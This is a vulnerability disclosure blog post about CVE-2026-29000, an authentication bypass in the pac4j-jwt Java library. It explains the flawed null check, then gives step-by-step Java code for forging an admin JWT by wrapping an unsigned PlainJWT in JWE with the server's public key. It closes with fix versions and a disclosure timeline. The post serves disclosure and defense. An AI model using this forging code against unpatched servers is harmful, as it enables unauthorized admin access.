A CVSS 10.0 authentication bypass in pac4j-jwt. No secrets stolen. No brute force. Just your public key — the one you're supposed to share.
TL;DR
We found a critical authentication bypass in pac4j-jwt, one of the most widely used Java security libraries. An attacker who has only your server's RSA public key can forge a JWT token, authenticate as any user — including admin — and the server will trust it completely.
- CVE: CVE-2026-29000
- CVSS Score: 10.0 / 10.0 (Critical)
- Affected: pac4j-jwt < 4.5.9, < 5.7.9, < 6.3.3
- Fixed in: 4.5.9, 5.7.9, 6.3.3
- CWE: CWE-347 (Improper Verification of Cryptographic Signature)
The Irony That Keeps Me Up at Night
Here's what makes this vulnerability uniquely terrifying:
Every single piece of code involved is technically correct.
- The JWT spec? Correctly implemented.
- The Nimbus library? Behaves exactly as documented.
- The null check? Perfectly valid Java.
The vulnerability isn't in any one component. It's in the assumption that ties them together — the assumption that if decryption succeeds, what's inside must be a signed token.
It's not.
How JWT Authentication Is Supposed to Work
Before we break things, let's understand the happy path.
Normal flow:
[Server] → Create claims → Sign (private key) → Encrypt (public key) → [Client]
[Client] → Send token → [Server] → Decrypt (private key) → Verify signature → ✅
Two layers of protection. Encryption for confidentiality. Signature for integrity. Both must pass.
Or so you'd think.
The Three Types of JWT (Most Developers Only Know Two)
The JWT specification (RFC 7519) defines three token types:
| Type | What it is | Signed? | Encrypted? |
|---|---|---|---|
| JWS | JSON Web Signature | Yes | No |
| JWE | JSON Web Encryption | No | Yes |
| PlainJWT | Unsecured JWT | No | No |
Most developers never think about PlainJWT. It's an unsigned, unencrypted token with \"alg\": \"none\" in its header. It exists in the spec. Libraries support it. And it's the key to this entire attack.
Where It Breaks: One Null Check, Total Bypass
Here's the critical section of pac4j's JwtAuthenticator:
// After decrypting the JWE...
SignedJWT signedJWT = jwtObject.toSignedJWT();
if (signedJWT != null) {
// Signature verification happens HERE
verifySignature(signedJWT, configuration);
}
// Continue processing claims...
// ⬆️ Reaches here regardless of whether signature was verified
See it?
The signature verification is gated behind a null check. If signedJWT is null, verification is skipped — silently. No error. No exception. No log. The code just... moves on and processes the claims anyway.
When Does toSignedJWT() Return Null?
The Nimbus JOSE+JWT library returns null from toSignedJWT() when the inner JWT is not a SignedJWT.
Like a PlainJWT.
Nimbus is doing exactly the right thing — a PlainJWT isn't signed, so it shouldn't be cast to SignedJWT.
pac4j's null check is also "correct."
But together? They create a path where an attacker bypasses authentication entirely.
The Attack: Step by Step
Here's how an attacker goes from "I have your public key" to "I am your admin."
Step 1: Get the public key
RSA public keys are designed to be shared. They're in JWKS endpoints, TLS certificates, API docs, .well-known URLs. Not a secret. That's the whole point.
Step 2: Craft malicious claims
JWTClaimsSet claims = new JWTClaimsSet.Builder()
.subject("admin")
.claim("role", "ROLE_ADMIN")
.claim("email", "admin@target.com")
.expirationTime(new Date(System.currentTimeMillis() + 3600000))
.build();
Any user. Any role. Any permission.
Step 3: Create a PlainJWT (NOT a signed JWT)
PlainJWT plainJWT = new PlainJWT(claims);
No signature. No private key needed. Valid per the JWT spec.
Step 4: Wrap it in JWE using the public key
JWEHeader header = new JWEHeader(
JWEAlgorithm.RSA_OAEP_256,
EncryptionMethod.A256GCM
);
JWEObject jwe = new JWEObject(header, new Payload(plainJWT.serialize()));
jwe.encrypt(new RSAEncrypter(rsaPublicKey));
String forgedToken = jwe.serialize();
From the outside, this looks identical to a legitimate encrypted token.
Step 5: Send it
Server decrypts it. Calls toSignedJWT(). Gets null. Skips verification. Processes claims.
You're admin now.
Why This Is a Perfect 10.0
| CVSS Metric | Value | Why |
|---|---|---|
| Attack Vector | Network | Remotely exploitable |
| Attack Complexity | Low | No special setup needed |
| Privileges Required | None | Public key is... public |
| User Interaction | None | No phishing needed |
| Confidentiality Impact | High | Full data access |
| Integrity Impact | High | Modify anything as admin |
| Scope | Changed | Pivot to downstream systems |
How We Found It
This CVE came out of CodeAnt AI's ongoing security research program. We systematically audit whether CVE patches in widely-used open-source packages actually fix the underlying vulnerability.
Our AI code reviewer flagged the null check anomaly — the pattern where a security-critical operation (signature verification) is gated behind a condition that can be trivially controlled by an attacker.
The AI didn't "find a bug." It found a logical gap between correct components — the hardest class of vulnerability to catch with traditional tooling.
The Fix
Maintainer Jérôme Leleu responded within hours and shipped coordinated patches across three major version lines in two business days. Exceptional open-source maintainership.
The fix ensures:
- PlainJWTs inside encrypted containers are rejected
- Signature verification is mandatory, not conditional
- Absence of signature = failure, not skip
Are You Affected?
Check now:
<!-- Maven -->
<dependency>
<groupId>org.pac4j</groupId>
<artifactId>pac4j-jwt</artifactId>
<!-- Below 4.5.9 / 5.7.9 / 6.3.3? You're vulnerable. -->
</dependency>
// Gradle
implementation 'org.pac4j:pac4j-jwt:X.X.X'
Upgrade immediately to: 4.5.9+ / 5.7.9+ / 6.3.3+
Key Takeaways
Never assume token type after decryption. Explicitly validate the inner payload type.
"Correct code" can compose into vulnerabilities. Each component followed its spec. The bug was in the gap between them.
Null ≠ Safe. A null check that silently skips security validation is worse than no check at all.
Public keys are public. Never design a system where possessing only the public key grants authentication capability.
Audit your patches. Verify patches address root causes, not just reported symptoms.
Responsible Disclosure Timeline
| Date | Event |
|---|---|
| Discovery | CodeAnt AI Security Research flags the vulnerability |
| Disclosure | Reported to pac4j maintainer |
| Acknowledgment | Confirmed within hours |
| Patches released | Versions 4.5.9, 5.7.9, 6.3.3 |
| CVE assigned | CVE-2026-29000 (CVSS 10.0) |
| Advisory | GHSA-pm7g-w2cf-q238 |
| Public disclosure | March 4, 2026 |
References
- Full Technical Research — CodeAnt AI
- CVE-2026-29000 — NVD
- GitHub Advisory — GHSA-pm7g-w2cf-q238
- pac4j Security Advisory
- Hacker News Discussion
This research was conducted by the CodeAnt AI Security Research Team. CodeAnt AI is an AI-powered code review platform that auto-fixes code quality and security issues across 30+ languages.
Found a vulnerability? Reach out: security@codeant.ai
Top comments (0)